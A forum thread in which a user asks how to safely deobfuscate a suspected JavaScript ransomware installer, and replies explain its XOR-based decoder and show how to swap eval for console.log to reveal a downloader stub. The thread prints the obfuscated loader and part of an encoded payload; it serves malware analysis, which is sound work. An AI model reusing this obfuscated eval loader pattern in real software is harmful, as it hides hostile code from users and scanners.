Can I deobfuscate this js?

Hi there folks,

I’ve received what I’m pretty sure is a ransomware installer and I’d really like to see how it works but I’m wondering how I can deobfuscate it for viewing without executing. I won’t post it in it’s entirety for obvious reasons, but it’s assigning a var in the following manner:

var e4="cb5ed34dc_56cf5bfd4cf051ea57f956"+ "ff18d15fd45dde4cae7cd759c74c_a59"+ "a97ef74ad457c655a26dfb4aea54b810"+ "d04dd14aff54fd14f618b35be359fc54"+ "e054a25af859cd5bd553d411_a43e74c"+ "b34ac_41a543fe4ed_59_44aac18_c40"+ "c155f254d570_14cd64cb748_f18f305"+ "a318a356ce5d_f4ff_18af79f25be14c"+ "a951aa4ef_5de560cd77e55af852cd5d"+ "e95b__4ccf10_31a_175aa6bac60e475"+ "bc74f_0ae716b160b_75cf74cc70ef6c"+

Which goes on for a really long time, then it handles it:

function c5() { var c1=new Array("a","e","s","+","g"); return c1[Math.floor(Math.random()*c1.length)]; } function db(d5) { return (new Function("b8","var f0=b8.m"+c5()+"tch(/\\S{"+""+"4}/"+c5()+"),e1=\"\",e6=0"+""+";whil"+c5()+"(e6<f0.length){e1+="+""+"String.fromCharCod"+c5()+"(parseInt(f0[e6].sub"+c5()+"tr(2,2),16)^56);e6+"+c5()+";}return ev"+c5()+""+""+"l(e1);")(d5)); } function b0(c3) { var c9; var a8=0; while(a8<1) { try { c9=db(c3); a8++; } catch(cc) { } } return c9; } b0(e4);

Could someone explain how I might alter it to simply spit out the code in it’s entirety, instead of executing so I could see how it works?

PS: Working on a non-network-cabled machine in a VM.

Thanks for your time!

What can help is to rename variables so that they make more sense. For example, the b0() function can have its variables renamed to the following:

function decode(payload)
{
	var response;
	var hasExecuted = false;
	while(!hasExecuted)
	{
		try
		{
			response=db(payload);
			hasExecuted = true;
		}
		catch(e)
		{
		}
	}
	return response;
}
decode(encodedData);

The renaming of variables may not be entirely accurate, but they’re close enough to give us a much better idea of how the function is supposed to work.

Looking at the db() function, that gets random characters from the c5() function to make it more difficult for people trying to trace their way through the code. Fortunately, we can apply some brain power and realize that b8.m"+c5()+"tch is supposed to be b8.match, and likewise for the others.

Removing the c5() function from the db() function and replacing content with what should be there, the tidied up version is:

function db(b8) {
    var f0 = b8.match(/\S{4}/g);
    var e1 = "";
    var e6 = 0;
    while (e6 < f0.length) {
        e1 += String.fromCharCode(parseInt(f0[e6].substr(2, 2), 16) ^ 56);
        e6 += 1;
    }
    return eval(e1);
}

Which when variables are renamed, gives us:

function decrypt(encoded) {
    var parts = encoded.match(/\S{4}/g);
    var decrypted = "";
    var index = 0;
    while (index < parts.length) {
        decrypted += String.fromCharCode(parseInt(parts[index].substr(2, 2), 16) ^ 56);
        index += 1;
    }
    return eval(decrypted);
}

We now know tht the continual attempts at random c5() chars are no longer needed, so we can get rid of the decode() function with it’s try/catch section entirely, and just call decrypt(encodedData)

We can now console.log(decrypted) before it’s evaluated, to find out what it does. We could have done that earlier without all of renaming variables, but it would have been infinitely harder to figure out what what going on with the code.

The section of encrypted code that you gave us in the e4 string decrypts to give us:

function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHT

Here’s how the string is decoded.

var e4="cb5ed34dc_56cf5bfd4cf051ea57f956"+
"ff18d15fd45dde4cae7cd759c74c_a59"+
...

It’s broken up in to groups of four characters.

cb5e
d34d
c_56
cf5b
fd4c
f051
ea57
f956
ff18
d15f
d45d
de4c
ae7c
d759
c74c
_a59
...

Then the last two characters are taken as hexidecimals:

5e 4d 56 5b 4c 51 57 56
18 5f 5d 4c 7c 59 4c 59
...

Converted to decimals, and then it’s XOR’d with 56 which gives us:

102 117 110  99 116 105 111 110
 32 103 101 116  97  70 114 111
...

Before lastly, being converted to ascii strings giving us:

f u n c t i o n
  g e t D a t a
...
4 Likes

Hi there Paul, and thanks very much for all your knowledge in the matter. I am wary to paste the entire var here but did paste it here in it’s entirety: https://jpst.it/O17m

I am very weak at javascript but was able to follow you somewhat until the end and then I fell apart :slight_smile:

First off, your rebuild of the function will still attempt to execute and not print to screen or source, is that correct?

Secondly, are you saying that all of the function funnels down to turning 4 character blocks of the var into a character equivalent, that being determined by the decryption and a hexadecimal code?

I’m sorry if I’ve blown right past these answers. I muddle mainly in PHP and where the code structure differs, I seem to be unable to follow.

Thanks!

You may want to reconsider.

That code is likely to (eventually) set off virus warnings for the page / site and when / if it does I can’t imagine they’ll be happy about it.

I can remove it but from the reading I’ve done, each var that gets sent out by the bots is different (requiring a different decryption key) and its the decryption function that triggers the malware protection.

eval() will execute the code. You could remove the eval call and just let the function return the decrypted code as a string without executing it:

function decrypt(encoded) {
    var parts = encoded.match(/\S{4}/g);
    var decrypted = "";
    var index = 0;
    while (index < parts.length) {
        decrypted += String.fromCharCode(parseInt(parts[index].substr(2, 2), 16) ^ 56);
        index += 1;
    }
    return decrypted;
}

[quote=“schwim, post:4, topic:238486, full:true”]
First off, your rebuild of the function will still attempt to execute and not print to screen or source, is that correct?[/quote]

Yes, that’s right. You can just replace that eval with a console.log to see what would have been evaluated.

[quote=“schwim, post:4, topic:238486, full:true”]
Secondly, are you saying that all of the function funnels down to turning 4 character blocks of the var into a character equivalent, that being determined by the decryption and a hexadecimal code?[/quote]

Not quite. Of each four characters, only the last two are used. The first two chars of each 4 char block are completely ignored.

This topic was automatically closed 91 days after the last reply. New replies are no longer allowed.